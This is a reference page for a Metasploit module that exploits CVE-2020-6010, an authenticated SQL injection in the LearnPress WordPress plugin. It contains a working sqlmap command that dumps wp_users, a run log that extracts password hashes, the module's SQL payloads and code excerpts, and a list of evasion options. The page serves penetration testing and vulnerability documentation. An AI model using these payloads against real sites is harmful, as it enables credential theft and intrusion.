Wordpress LearnPress current_items Authenticated SQLi - Metasploit
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Module Overview
Name: Wordpress LearnPress current_items Authenticated SQLi
Module: auxiliary/scanner/http/wp_learnpress_sqli
Source code: modules/auxiliary/scanner/http/wp_learnpress_sqli.rb
Disclosure date: 2020-04-29
Last modification time: 2021-12-15 16:42:46 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-6010
LearnPress, a learning management plugin for WordPress, prior to 3.2.6.8 is affected by an authenticated SQL injection via the current_items parameter of the post-new.php page.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/wp_learnpress_sqli
msf auxiliary(wp_learnpress_sqli) > show options
... show and set options ...
msf auxiliary(wp_learnpress_sqli) > set RHOSTS ip-range
msf auxiliary(wp_learnpress_sqli) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(wp_learnpress_sqli) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(wp_learnpress_sqli) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(wp_learnpress_sqli) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
LearnPress, a learning management plugin for WordPress,
prior to 3.2.6.8 is affected by an authenticated SQL injection via the
current_items[] parameter of the post-new.php page.
The plugin can be downloaded here
This module slightly replicates sqlmap running as:
sqlmap -u 'http:///wp-admin/post-new.php?post_type=lp_order' --cookie '' --data "type=lp_course&context=order-items&context_id=32&term=+test&paged=1&lp-ajax=modal_search_items¤t_items[]=1" -p "current_items[]" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql
Verification Steps
- Install the plugin, use defaults
- Start msfconsole
- Do:
use auxiliary/scanner/http/wp_learnpress_sqli - Do:
set username <username> - Do:
set password <password> - Do:
run - You should get the users and hashes returned.
Options
ACTION: List Users
This action lists COUNT users and password hashes.
COUNT
If action List Users is selected (default), this is the number of users to enumerate.
The larger this list, the more time it will take. Defaults to 3.
PASSWORD
The password for a user.
USERNAME
The username for a user.
Scenarios
LearnPress 3.2.6.7 on Wordpress 5.4.4 on Ubuntu 20.04
resource (learnpress.rb)> use auxiliary/scanner/http/wp_learnpress_sqli
resource (learnpress.rb)> set rhosts 111.111.1.111
rhosts => 111.111.1.111
resource (learnpress.rb)> set username admin
username => admin
resource (learnpress.rb)> set password admin
password => admin
resource (learnpress.rb)> set verbose true
verbose => true
resource (learnpress.rb)> set count 3
count => 3
resource (learnpress.rb)> run
[*] Checking /wp-content/plugins/learnpress/readme.txt
[*] Found version 3.2.6.7 in the plugin
[+] Vulnerable version detected
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(CKvFyxDg) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
[*] {SQLi} Encoded to (select group_concat(CKvFyxDg) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xd5,0)),ifnull(user_pass,repeat(0x49,0))) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] wp_users
========
user_login user_pass
---------- ---------
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1
editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
111.111.1.111 admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 Nonreplayable hash phpass
111.111.1.111 editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/ Nonreplayable hash phpass
111.111.1.111 admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1 Nonreplayable hash phpass
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Msfconsole Usage
Here is how the scanner/http/wp_learnpress_sqli auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/wp_learnpress_sqli
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show info
Name: Wordpress LearnPress current_items Authenticated SQLi
Module: auxiliary/scanner/http/wp_learnpress_sqli
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-04-29
Provided by:
h00die
Omri Herscovici
Sagi Tzadik
nhattruong
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Available actions:
Name Description
---- -----------
List Users Queries username, password hash for COUNT users
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 3 no Number of users to enumerate
PASSWORD yes Valid Password for login
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME yes Valid Username for login
VHOST no HTTP server virtual host
Description:
LearnPress, a learning management plugin for WordPress, prior to
3.2.6.8 is affected by an authenticated SQL injection via the
current_items parameter of the post-new.php page.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-6010
https://research.checkpoint.com/2020/e-learning-platforms-getting-schooled-multiple-vulnerabilities-in-wordpress-most-popular-learning-management-system-plugins/
https://www.exploit-db.com/exploits/50137
https://wpscan.com/vulnerability/10208
Module Options
This is a complete list of options available in the scanner/http/wp_learnpress_sqli auxiliary module:
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show options
Module options (auxiliary/scanner/http/wp_learnpress_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 3 no Number of users to enumerate
PASSWORD yes Valid Password for login
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME yes Valid Username for login
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
List Users Queries username, password hash for COUNT users
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/wp_learnpress_sqli auxiliary module:
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show advanced
Module advanced options (auxiliary/scanner/http/wp_learnpress_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, S
SL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
SqliDelay 1.0 no The delay to sleep on time-based blind SQL injections
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/wp_learnpress_sqli module can do:
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
List Users Queries username, password hash for COUNT users
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/wp_learnpress_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server not online or not detected as wordpress
Here is a relevant code snippet related to the "Server not online or not detected as wordpress" error message:
52: ]
53: end
54:
55: def run_host(ip)
56: unless wordpress_and_online?
57: vprint_error('Server not online or not detected as wordpress')
58: return
59: end
60:
61: checkcode = check_plugin_version_from_readme('learnpress', '3.2.6.8')
62: if checkcode == Msf::Exploit::CheckCode::Safe
Learnpress version not vulnerable
Here is a relevant code snippet related to the "Learnpress version not vulnerable" error message:
58: return
59: end
60:
61: checkcode = check_plugin_version_from_readme('learnpress', '3.2.6.8')
62: if checkcode == Msf::Exploit::CheckCode::Safe
63: vprint_error('Learnpress version not vulnerable')
64: return
65: end
66: print_good('Vulnerable version detected')
67:
68: cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
Invalid login, check credentials
Here is a relevant code snippet related to the "Invalid login, check credentials" error message:
66: print_good('Vulnerable version detected')
67:
68: cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
69:
70: if cookie.nil?
71: vprint_error('Invalid login, check credentials')
72: return
73: end
74:
75: @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
76: res = send_request_cgi({
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
88: 'paged' => 1,
89: 'lp-ajax' => 'modal_search_items',
90: 'current_items[]' => "1 AND (SELECT #{Rex::Text.rand_text_numeric(4, 0)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)})"
91: }
92: })
93: fail_with Failure::Unreachable, 'Connection failed' unless res
94: end
95:
96: unless @sqli.test_vulnerable
97: print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
98: return
<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay.
Here is a relevant code snippet related to the "<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay." error message:
92: })
93: fail_with Failure::Unreachable, 'Connection failed' unless res
94: end
95:
96: unless @sqli.test_vulnerable
97: print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
98: return
99: end
100: columns = ['user_login', 'user_pass']
101:
102: print_status('Enumerating Usernames and Password Hashes')
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Related Pull Requests
- #15608 Merged Pull Request: Run rubocop layout rules on modules
- #15593 Merged Pull Request: Wordpress Plugin learnpress authenticated sqli
References
- CVE-2020-6010
- https://research.checkpoint.com/2020/e-learning-platforms-getting-schooled-multiple-vulnerabilities-in-wordpress-most-popular-learning-management-system-plugins/
- EDB-50137
- WPVDB-10208
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/scanner/wproxy/att_open_proxy
Authors
- h00die
- Omri Herscovici
- Sagi Tzadik
- nhattruong
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
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